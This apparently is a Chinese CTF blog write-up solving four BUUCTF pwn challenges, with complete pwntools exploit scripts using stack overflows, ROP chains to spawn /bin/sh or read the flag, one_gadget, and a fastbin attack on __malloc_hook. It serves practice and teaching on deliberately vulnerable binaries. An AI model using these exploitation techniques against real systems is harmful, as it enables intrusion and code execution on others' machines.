<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge, chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta name="browsermode" content="application">
<meta name="apple-touch-fullscreen" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-title" content="Axojhf的博客">
<meta name="apple-mobile-web-app-status-bar-style" content="default">
<meta name="msapplication-navbutton-color" content="#666666">
<meta name= "format-detection" content="telephone=no" />





  <meta name="keywords" content="Writeup, nlvi" />


<link rel="apple-touch-startup-image" media="(device-width: 375px)" href="assets/apple-launch-1125x2436.png">
<link rel="apple-touch-startup-image" media="(orientation: landscape)" href="assets/apple-touch-startup-image-2048x1496.png">

<link rel="stylesheet" href="/blog/style/style.css">

<script>
  var nlviconfig = {
    title: "Axojhf的博客",
    author: "Axojhf",
    baseUrl: "/blog/",
    theme: {
      scheme: "banderole",
      lightbox: true,
      animate: true,
      search: true,
      friends: false,
      reward: false,
      pjax: false,
      lazy: false,
      toc: true
    }
  }
</script>




    
<link rel="stylesheet" href="/blog/script/lib/lightbox/css/lightbox.min.css">





    
<link rel="stylesheet" href="/blog/syuanpi/syuanpi.min.css">
















<style>
@font-face {
  font-family: "Allura";
  src: url('/blog/font/allura/allura.ttf');
}
</style>

  <title> BUUCTF-Pwn题-Writeup（2） · Axojhf的博客 </title>
<meta name="generator" content="Hexo 4.2.1"></head>
<body>
  <div class="container">
    <header class="header" id="header">
  <div class="header-wrapper">
    <div class="logo">
  <div class="logo-inner syuanpi tvIn" style="display:none;">
    <h1><a href="/blog/">Axojhf的博客</a></h1>
    
  </div>
</div>

    <nav class="main-nav">
  
  <ul class="main-nav-list syuanpi tvIn">
  
    <li class="menu-item">
      <a href="javascript:;" id="search-btn" aria-label="Search">
        <i class="iconfont icon-search"></i>
      </a>
    </li>
  
  
  
    
  
    <li class="menu-item">
      <a href="/blog/" id="article">
        <span class="base-name">
          
            ARTICLE
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="/blog/archives" id="archives">
        <span class="base-name">
          
            ARCHIVES
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="javascript:;" id="tags">
        <span class="base-name">
          
            TAGS
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="/blog/about" id="about">
        <span class="base-name">
          
            ABOUT
          
        </span>
      </a>
    </li>
  
  
  </ul>
  
</nav>

  </div>
</header>
<div class="mobile-header" id="mobile-header">
  <div class="mobile-header-nav">
    <div class="mobile-header-item" id="mobile-left">
      <div class="header-menu-item">
        <div class="header-menu-line"></div>
      </div>
    </div>
    <h1 class="mobile-header-title">
      <a href="/">Axojhf的博客</a>
    </h1>
    <div class="mobile-header-item"></div>
  </div>
  <div class="mobile-header-body">
    <ul class="mobile-header-list">
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-0">
          <a href="/blog/" >
            
              ARTICLE
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-1">
          <a href="/blog/archives" >
            
              ARCHIVES
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-2">
          <a href="javascript:;" id="mobile-tags">
            
              TAGS
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-3">
          <a href="/blog/about" >
            
              ABOUT
            
          </a>
        </li>
      
    </ul>
  </div>
</div>



    <div class="container-inner" style="display:none;">
      <main class="main" id="main">
        <div class="main-wrapper">
          
    
  
  <article class="
  post
   is_post 
  ">
    <header class="post-header">
      <div class="post-time syuanpi fadeInRightShort back-1">
        <div class="post-time-wrapper">
          
          <time>2020-07-28</time>
          
        </div>
      </div>
      <h2 class="post-title syuanpi fadeInRightShort back-2">
        
          BUUCTF-Pwn题-Writeup（2）
        
      </h2>
    </header>
    <div class="post-content syuanpi fadeInRightShort back-3">
      
        <p>(博主还是菜鸟，有些知识可能理解不够透彻，有些表述可能不够严谨，欢迎大家指正，望大家多多包涵)</p>
<a id="more"></a>

<h1 id="not-the-same-3dsctf-2016题"><a href="#not-the-same-3dsctf-2016题" class="headerlink" title="not_the_same_3dsctf_2016题"></a>not_the_same_3dsctf_2016题</h1><p>程序保护信息：</p>
<p><img src="image-20200728145041685.png" alt="image-20200728145041685"></p>
<p>程序有711KB大，而且从它给出的函数可以看出应该是静态编译的，在gdb调试里也可以看到并没有导入libc。</p>
<p><code>main</code>函数有很明显的可利用的栈溢出：</p>
<p><img src="image-20200728171212747.png" alt="image-20200728171212747"></p>
<p>再看看程序给的函数，并没有<code>system</code>函数，也没有<code>/bin/sh</code>等类似字符串，所以不能直接打开一个shell，这里解题就有几种方法了，可以使用<code>ret2syscall</code>或<code>ret2libc</code>的方法（其他方法我就不知道了）。</p>
<p>我最开始用的是<code>ret2libc</code>方法打开flag文件，读取到某处，再打印出来。</p>
<h2 id="ret2libc法-解题脚本："><a href="#ret2libc法-解题脚本：" class="headerlink" title="ret2libc法 解题脚本："></a>ret2libc法 解题脚本：</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">00000</span>)</span><br><span class="line"></span><br><span class="line">main_add = <span class="number">0x080489E0</span></span><br><span class="line">open_add = <span class="number">0x806e190</span></span><br><span class="line">gets_add = <span class="number">0x804f8d0</span></span><br><span class="line">printf_add = <span class="number">0x804f0a0</span></span><br><span class="line">fflush_add = <span class="number">0x804f3a0</span></span><br><span class="line">read_add = <span class="number">0x806e200</span></span><br><span class="line">tmp_add = <span class="number">0x080EBF84</span></span><br><span class="line">payload = <span class="string">'A'</span> * <span class="number">0x2d</span> + p32(gets_add) + p32(main_add) + p32(tmp_add)</span><br><span class="line">payload1 = <span class="string">'B'</span> * <span class="number">0x2d</span> + p32(open_add) + p32(main_add) + p32(tmp_add) + p32(<span class="number">0</span>)</span><br><span class="line">payload2 = <span class="string">'C'</span> * <span class="number">0x2d</span> + p32(read_add) + p32(main_add) + p32(<span class="number">3</span>) + p32(tmp_add) + p32(<span class="number">64</span>)</span><br><span class="line">payload3 = <span class="string">'D'</span> * <span class="number">0x2d</span> + p32(printf_add) + p32(main_add) + p32(tmp_add)</span><br><span class="line">payload4 = <span class="string">'E'</span> * <span class="number">0x2d</span> + p32(fflush_add) + p32(main_add) + p32(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">p.sendline(payload)	<span class="comment">#相当于gets(tmp_add)</span></span><br><span class="line">p.sendline(<span class="string">'flag'</span>)	</span><br><span class="line">p.sendline(payload1)<span class="comment">#相当于open(tmp_add,0)</span></span><br><span class="line">p.sendline(payload2)<span class="comment">#相当于read(3,tmp_add,64)</span></span><br><span class="line">p.sendline(payload3)<span class="comment">#相当于printf(tmp_add)	（不规范，不安全的写法）</span></span><br><span class="line">p.sendline(payload4)<span class="comment">#相当于fflush(0) （因为我在调试的过程中发现之前的输出数据都没有，所以这里应该是要刷新一下输出流）</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="ret2syscall法-解题脚本："><a href="#ret2syscall法-解题脚本：" class="headerlink" title="ret2syscall法 解题脚本："></a>ret2syscall法 解题脚本：</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">00000</span>)</span><br><span class="line"></span><br><span class="line">int_0x80 = <span class="number">0x08070290</span></span><br><span class="line">pop_eax = <span class="number">0x08048b0b</span></span><br><span class="line">pop_ebx_edx = <span class="number">0x0806fcc9</span></span><br><span class="line">pop_ecx_ebx = <span class="number">0x0806fcf1</span></span><br><span class="line">main_add = <span class="number">0x080489E0</span></span><br><span class="line">gets_add = <span class="number">0x804f8d0</span></span><br><span class="line">tmp_add = <span class="number">0x080EBF84</span></span><br><span class="line">payload = <span class="string">'A'</span> * <span class="number">0x2d</span> + p32(gets_add) + p32(main_add) + p32(tmp_add)</span><br><span class="line">payload1 = <span class="string">'B'</span> * <span class="number">0x2d</span> + p32(pop_eax) + p32(<span class="number">0xb</span>)</span><br><span class="line">payload1 += p32(pop_ebx_edx) + p32(tmp_add) + p32(<span class="number">0</span>)</span><br><span class="line">payload1 += p32(pop_ecx_ebx) + p32(<span class="number">0</span>) + p32(tmp_add)</span><br><span class="line">payload1 += p32(int_0x80)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.sendline(<span class="string">'/bin/sh'</span>)</span><br><span class="line">p.sendline(payload1)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>难度：★★</p>
<p>还是基本的栈溢出的题目，有多种解法</p>
<h1 id="BJDCTF-2nd-one-gadget题"><a href="#BJDCTF-2nd-one-gadget题" class="headerlink" title="[BJDCTF 2nd]one_gadget题"></a>[BJDCTF 2nd]one_gadget题</h1><p>程序会提供<code>printf</code>的实际地址，可以推出<code>libc</code>基址，题目本意就是要你使用<code>one_gadget</code>，所以只要计算好<code>one_gadget</code>的地址再将整数输入进程序即可。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">00000</span>)</span><br><span class="line"></span><br><span class="line">printf_offset = <span class="number">0x62830</span></span><br><span class="line">one_gadget_offset = <span class="number">0x106ef8</span></span><br><span class="line">p.recvuntil(<span class="string">'u:'</span>)</span><br><span class="line">printf_add = int(p.recvuntil(<span class="string">'\n'</span>), <span class="number">16</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'gadget:'</span>, str(printf_add - printf_offset + one_gadget_offset))</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>难度：★</p>
<p><code>one_gadget</code>的基本使用</p>
<h1 id="jarvisoj-level2题"><a href="#jarvisoj-level2题" class="headerlink" title="jarvisoj_level2题"></a>jarvisoj_level2题</h1><p>程序保护信息：</p>
<p><img src="image-20200729095706721.png" alt="image-20200729095706721"></p>
<p>经典的栈溢出题，有<code>system</code>函数，字符串<code>bin/sh</code></p>
<p>解题脚本：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">00000</span>)</span><br><span class="line"></span><br><span class="line">system_plt = <span class="number">0x8048320</span></span><br><span class="line">binsh_add = <span class="number">0x804a024</span></span><br><span class="line">payload = <span class="string">'A'</span> * <span class="number">0x88</span> + p32(<span class="number">0</span>) + p32(system_plt) + p32(binsh_add) * <span class="number">2</span></span><br><span class="line">p.sendlineafter(<span class="string">'Input:'</span>,payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="总结-2"><a href="#总结-2" class="headerlink" title="总结"></a>总结</h2><p>难度：★</p>
<h1 id="babyheap-0ctf-2017题"><a href="#babyheap-0ctf-2017题" class="headerlink" title="babyheap_0ctf_2017题"></a>babyheap_0ctf_2017题</h1><p>程序保护信息：</p>
<p><img src="image-20200729171117651.png" alt="image-20200729171117651"></p>
<p>这是一道菜单题，重点在这里：</p>
<p><img src="image-20200729171509009.png" alt="image-20200729171509009"></p>
<p>很明显，上图里没有对覆写的数据大小进行检查，所以可以溢出。</p>
<p>到这里就可以采用 <code>off-by-one</code>方法结合<code>fastbin attack</code>解题（主要思路不仔细说了，类似于我写的另一篇Writeup：<a href="https://xiaoaoaode.gitee.io/blog/2020/06/09/7b438d60/">攻防世界-babyheap题Writeup</a>）</p>
<p>解题脚本：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">00000</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Allocate</span><span class="params">(size)</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'Command: '</span>, <span class="string">'1'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'Size: '</span>, str(size))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Fill</span><span class="params">(index, size, payload)</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'Command: '</span>, <span class="string">'2'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'Index: '</span>, str(index))</span><br><span class="line">    p.sendlineafter(<span class="string">'Size: '</span>, str(size))</span><br><span class="line">    p.sendafter(<span class="string">'Content: '</span>, payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Free</span><span class="params">(index)</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'Command: '</span>, <span class="string">'3'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'Index: '</span>, str(index))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Dump</span><span class="params">(index)</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'Command: '</span>, <span class="string">'4'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'Index: '</span>, str(index))</span><br><span class="line">    p.recvuntil(<span class="string">'Content: \n'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Allocate(<span class="number">0x80</span>)</span><br><span class="line">Allocate(<span class="number">0x10</span>)</span><br><span class="line">Allocate(<span class="number">0x68</span>)</span><br><span class="line">Allocate(<span class="number">0x80</span>)</span><br><span class="line">Allocate(<span class="number">0x10</span>)</span><br><span class="line"></span><br><span class="line">Free(<span class="number">0</span>)</span><br><span class="line">Fill(<span class="number">2</span>, <span class="number">0x70</span>, <span class="string">'A'</span> * <span class="number">0x60</span> + p64(<span class="number">0x120</span>) + p64(<span class="number">0x90</span>))</span><br><span class="line">Free(<span class="number">3</span>)</span><br><span class="line">Allocate(<span class="number">0x80</span>)</span><br><span class="line">Dump(<span class="number">1</span>)</span><br><span class="line">main_arena_add = u64(p.recv(<span class="number">6</span>) + <span class="string">'\x00\x00'</span>) - <span class="number">88</span></span><br><span class="line">__malloc_hook = main_arena_add - <span class="number">0x10</span></span><br><span class="line">libc_base = __malloc_hook - <span class="number">0x3c4b10</span></span><br><span class="line">one_gadget = libc_base + <span class="number">0x4526a</span></span><br><span class="line"></span><br><span class="line">Free(<span class="number">2</span>)</span><br><span class="line">Fill(<span class="number">1</span>, <span class="number">0x28</span>, p64(<span class="number">0</span>) * <span class="number">3</span> + p64(<span class="number">0x71</span>) + p64(__malloc_hook - <span class="number">0x23</span>))</span><br><span class="line">Allocate(<span class="number">0x68</span>)</span><br><span class="line">Allocate(<span class="number">0x68</span>)</span><br><span class="line">Fill(<span class="number">3</span>, <span class="number">0x1b</span>, <span class="string">'B'</span> * <span class="number">0xb</span> + p64(one_gadget) * <span class="number">2</span>)</span><br><span class="line">Allocate(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="总结-3"><a href="#总结-3" class="headerlink" title="总结"></a>总结</h2><p>难度：★★★</p>
<p>这个题我以前写过，这次算是重新写一次，巩固知识。</p>

      
    
    </div>
    
      <div class="post-tags syuanpi fadeInRightShort back-3">
      
        <a href="/blog/tags/Writeup/">Writeup</a>
      
      </div>
    
    
      

      
  <hr class="copy-line">
  <div class="post-copyright">
    <div class="copy-author">
      <span>作者 :</span>
      <span>Axojhf</span>
    </div>
    <div class="copy-url">
      <span>地址 :</span>
      <a href="http://xiaoaoaode.gitee.io/blog/2020/07/28/cfa15dd3/">http://xiaoaoaode.gitee.io/blog/2020/07/28/cfa15dd3/</a>
    </div>
    <div class="copy-origin">
      <span>来源 :</span>
      <a href="http://xiaoaoaode.gitee.io/blog">http://xiaoaoaode.gitee.io/blog</a>
    </div>
    <div class="copy-license">
      
      著作权归作者所有，转载请联系作者获得授权。
    </div>
  </div>

    
  </article>
  
    
  <nav class="article-page">
    
      <a href="/blog/2020/08/01/8e1ab4ab/" id="art-left" class="art-left">
        <span class="next-title">
          <i class="iconfont icon-left"></i>Pwn题里有关seccomp和prctl函数的知识点小结
        </span>
      </a>
    
    
      <a href="/blog/2020/07/27/dd14f23d/" id="art-right" class="art-right">
        <span class="prev-title">
          BUUCTF-Pwn题-Writeup（1）<i class="iconfont icon-right"></i>
        </span>
      </a>
    
  </nav>


    
  <i id="com-switch" class="iconfont icon-down jumping-in long infinite" style="font-size:24px;display:block;text-align:center;transform:rotate(180deg);"></i>
  <div class="post-comments" id="post-comments" style="display: block;margin: auto 16px;">
    

    
    

    

  </div>



  
  
    
  
  <aside class="post-toc">
    <div class="title"><span>文章导航</span></div>
    <div class="toc-inner">
      <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#not-the-same-3dsctf-2016题"><span class="toc-text">not_the_same_3dsctf_2016题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#ret2libc法-解题脚本："><span class="toc-text">ret2libc法 解题脚本：</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ret2syscall法-解题脚本："><span class="toc-text">ret2syscall法 解题脚本：</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#总结"><span class="toc-text">总结</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#BJDCTF-2nd-one-gadget题"><span class="toc-text">[BJDCTF 2nd]one_gadget题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结-1"><span class="toc-text">总结</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#jarvisoj-level2题"><span class="toc-text">jarvisoj_level2题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结-2"><span class="toc-text">总结</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#babyheap-0ctf-2017题"><span class="toc-text">babyheap_0ctf_2017题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结-3"><span class="toc-text">总结</span></a></li></ol></li></ol>
    </div>
  </aside>



  


        </div>
      </main>
      <footer class="footer syuanpi fadeIn" id="footer">
  <hr>
  <div class="footer-wrapper">
    <div class="left">
      <div class="contact-icon">
  
  
</div>

    </div>
    <div class="right">
      <div class="copyright">
    <div class="info">
        <span>&copy;</span>
        <span>2020 ~ 2020</span>
        <span>❤</span>
        <span>Axojhf</span>
    </div>
    <div class="theme">
        <span>
            动力来源于
            <a href="http://hexo.io/" target="_blank" rel="noopener">Hexo </a>
        </span>
        <span>
            主题
            <a href="https://github.com/ColMugX/hexo-theme-Nlvi" target="_blank" rel="noopener"> Nlvi </a>
        </span>
    </div>
    
</div>

    </div>
  </div>
</footer>
    </div>
    <div class="tagcloud" id="tagcloud">
  <div class="tagcloud-taglist">
  
    <div class="tagcloud-tag">
      <button>Writeup</button>
    </div>
  
    <div class="tagcloud-tag">
      <button>其他</button>
    </div>
  
    <div class="tagcloud-tag">
      <button>知识点记录</button>
    </div>
  
  </div>
  
    <div class="tagcloud-postlist active">
      <h2>Writeup</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/27/dd14f23d/">
            <time class="tagcloud-posttime">2020 / 07 / 27</time>
            <span>BUUCTF-Pwn题-Writeup（1）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/28/cfa15dd3/">
            <time class="tagcloud-posttime">2020 / 07 / 28</time>
            <span>BUUCTF-Pwn题-Writeup（2）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/16/771d3ab6/">
            <time class="tagcloud-posttime">2020 / 08 / 16</time>
            <span>BUUCTF-Pwn题-Writeup（3）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/19/5276656a/">
            <time class="tagcloud-posttime">2020 / 08 / 19</time>
            <span>BUUCTF-Pwn题-Writeup（5）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/17/eaca020f/">
            <time class="tagcloud-posttime">2020 / 08 / 17</time>
            <span>BUUCTF-Pwn题-Writeup（4）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/21/f87fade1/">
            <time class="tagcloud-posttime">2020 / 09 / 21</time>
            <span>BUUCTF-Pwn题-Writeup（7）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/04/40c3ca84/">
            <time class="tagcloud-posttime">2020 / 09 / 04</time>
            <span>BUUCTF-Pwn题-Writeup（6）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/28/a01cbdb7/">
            <time class="tagcloud-posttime">2020 / 09 / 28</time>
            <span>BUUCTF-Pwn题-Writeup（8）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/31/2253bdbe/">
            <time class="tagcloud-posttime">2020 / 08 / 31</time>
            <span>DASCTF2020八月赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/26/253f1adb/">
            <time class="tagcloud-posttime">2020 / 07 / 26</time>
            <span>DASCTF七月赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/24/49582296/">
            <time class="tagcloud-posttime">2020 / 08 / 24</time>
            <span>CISCN2020初赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/01/14185/">
            <time class="tagcloud-posttime">2020 / 06 / 01</time>
            <span>我写出来的招新题的Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/17/45ae5a23/">
            <time class="tagcloud-posttime">2020 / 06 / 17</time>
            <span>攻防世界-“250”题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/09/7b438d60/">
            <time class="tagcloud-posttime">2020 / 06 / 09</time>
            <span>攻防世界-babyheap题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/17/47cfb24f/">
            <time class="tagcloud-posttime">2020 / 06 / 17</time>
            <span>攻防世界-“Recho”题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/12/e563c85c/">
            <time class="tagcloud-posttime">2020 / 07 / 12</time>
            <span>攻防世界-magic题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/10/07/9b619749/">
            <time class="tagcloud-posttime">2020 / 10 / 07</time>
            <span>攻防世界-nobug题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/02/471a08d2/">
            <time class="tagcloud-posttime">2020 / 06 / 02</time>
            <span>攻防世界--supermarket题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/10/04/77eb8480/">
            <time class="tagcloud-posttime">2020 / 10 / 04</time>
            <span>攻防世界-onemanarmy题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/02/a54507f8/">
            <time class="tagcloud-posttime">2020 / 06 / 02</time>
            <span>攻防世界——dice_game题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/10/928398a1/">
            <time class="tagcloud-posttime">2020 / 06 / 10</time>
            <span>攻防世界-"实时数据监测"题Writeup</span>
          </a>
        </div>
      
    </div>
  
    <div class="tagcloud-postlist ">
      <h2>其他</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/07/38a4c9bb/">
            <time class="tagcloud-posttime">2020 / 08 / 07</time>
            <span>Pwn环境的搭建和解答一些简单Pwn题的分享</span>
          </a>
        </div>
      
    </div>
  
    <div class="tagcloud-postlist ">
      <h2>知识点记录</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/10/44355a63/">
            <time class="tagcloud-posttime">2020 / 08 / 10</time>
            <span>_IO_FILE结构与fread函数知识点小结</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/01/8e1ab4ab/">
            <time class="tagcloud-posttime">2020 / 08 / 01</time>
            <span>Pwn题里有关seccomp和prctl函数的知识点小结</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/19/5cfa9d84/">
            <time class="tagcloud-posttime">2020 / 07 / 19</time>
            <span>正则表达式学习1</span>
          </a>
        </div>
      
    </div>
  
</div>

  </div>
  <div class="backtop syuanpi melt toTop" id="backtop">
    <i class="iconfont icon-up"></i>
    <span style="text-align:center;font-family:Georgia;"><span style="font-family:Georgia;" id="scrollpercent">1</span>%</span>
</div>

  <div class="search" id="search">
    <div class="input">
      <input type="text" id="search-input" placeholder="搜索一下？" autofocus>
    </div>
    <div id="search-result"></div>
  </div>



<script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js"></script>



  <script></script>
  <script src="/blog/script/lib/lightbox/js/lightbox.min.js" async></script>











  
<script src="/blog/script/scheme/banderole.js"></script>




<script src="/blog/script/bootstarp.js"></script>



<script>
if (nlviconfig.theme.toc) {
  setTimeout(function() {
    if (nlviconfig.theme.scheme === 'balance') {
      $("#header").addClass("show_toc");
    } else if (nlviconfig.theme.scheme === 'banderole') {
      $(".container-inner").addClass("has_toc");
      $(".post-toc .title").addClass("show");
      $(".toc-inner").addClass("show");
    }
  }, 1000);
}
</script>



</body>
</html>
